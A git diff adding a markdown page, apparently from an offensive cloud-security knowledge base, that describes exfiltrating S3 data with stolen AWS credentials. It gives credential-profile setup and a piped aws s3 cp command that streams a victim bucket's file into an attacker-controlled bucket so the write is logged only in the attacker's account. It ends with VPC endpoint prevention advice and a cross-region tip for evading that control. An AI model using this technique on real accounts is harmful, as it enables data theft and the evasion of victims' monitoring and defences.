diff --git a/content/aws/exploitation/s3_streaming_copy.md b/content/aws/exploitation/s3_streaming_copy.md
new file mode 100644
index 000000000..8d0624c47
--- /dev/null
+++ b/content/aws/exploitation/s3_streaming_copy.md
@@ -0,0 +1,50 @@
+---
+author_name: Houston Hopkins
+title: S3 Streaming Copy
+description: Stream copy standard out to standard in with AWS S3 Cli utilizing multiple profile to avoid detection/logging in the victim environment
+hide:
+  - toc
+---
+
+# S3 Streaming Copy
+
+Shout Out to Janardhan Prabhakara for showing me this all those years ago!
+Note: This technique is a Bring Your Own (BYOK) attack. 
+Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.
+
+Why would use this?
+In many environments AWS->AWS traffic is largely unfiltered and extremely full of noise. However, you may find a key that can GetObject, but not PutObject. Or perhaphs, more likely, you would like to hide your putObject command. 
+
+If you have found your way to a shell on an EC2 Instance of the victim your commands will be coming from an expected/trusted network which is even less likely to be detected. 
+s3 Streaming Copy can also be used from any terminal with CLI access.
+
+When this attack is perfomed the GetObject call is recorded in the victim cloudtrail dataevents (if enabled, aka hardly ever) But the PutObject call is recorded in the attacker's cloudtrail.
+
+Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials
+```
+[attacker]
+aws_access_key_id = <attacker_key_id>
+aws_secret_access_key = <attacker_secret_key>
+```
+
+If you have victim credentials native to EC2, running as an instance profile you can skip this next step if you want.
+
+create a profile for your VICTIM credentials.  These are the keys you attained with access to the victim's aws enviornment. 
+```
+[victim]
+aws_access_key_id = <victim_key_id>
+aws_secret_access_key = <victim_secret_key>
+```
+
+When using the AWS CLI you can utilize the --profile to specify the specific profile from the credentials file.
+
+And here is the s3 Stream Copy (for a single file)
+```
+aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )
+```
+note that you breaking the command and switching the profile context mid copy such that standard out writes to standard in. 
+
+Prevention:
+A well known, but not very common, way to prevent this is by mandating egress through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.
+This is becoming more common with the popularity of [Data Perimeters](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) guardrails
+If this doesn't work it possible the VPC Endpoint policy is in place, try making the attacker destination bucket in another AWS Region. Cross-region calls will not typically traverse a VPC Endpoint.